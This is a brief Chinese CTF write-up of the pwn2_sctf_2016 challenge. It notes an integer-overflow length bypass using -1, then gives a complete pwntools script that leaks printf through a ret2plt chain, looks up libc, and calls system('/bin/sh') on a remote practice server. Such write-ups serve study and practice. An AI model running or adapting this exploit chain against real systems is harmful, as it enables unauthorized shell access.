整数溢出的题型记录一下
- 打开IDA,发现有一个新定义的get函数
整数溢出可以用 -1 进行绕过
在IDA中没有找到shell所以只能通过libc泄露(有printf)
可以开始写exp了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31from pwn import *
from LibcSearcher import *
#r = process('./pwn2_sctf_2016')
r=remote('node5.buuoj.cn',29975)
elf=ELF('./pwn2_sctf_2016')
offset = (0x2c+4)
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload=b'a'*offset+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
print(hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload=b'a'*offset+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)
r.interactive()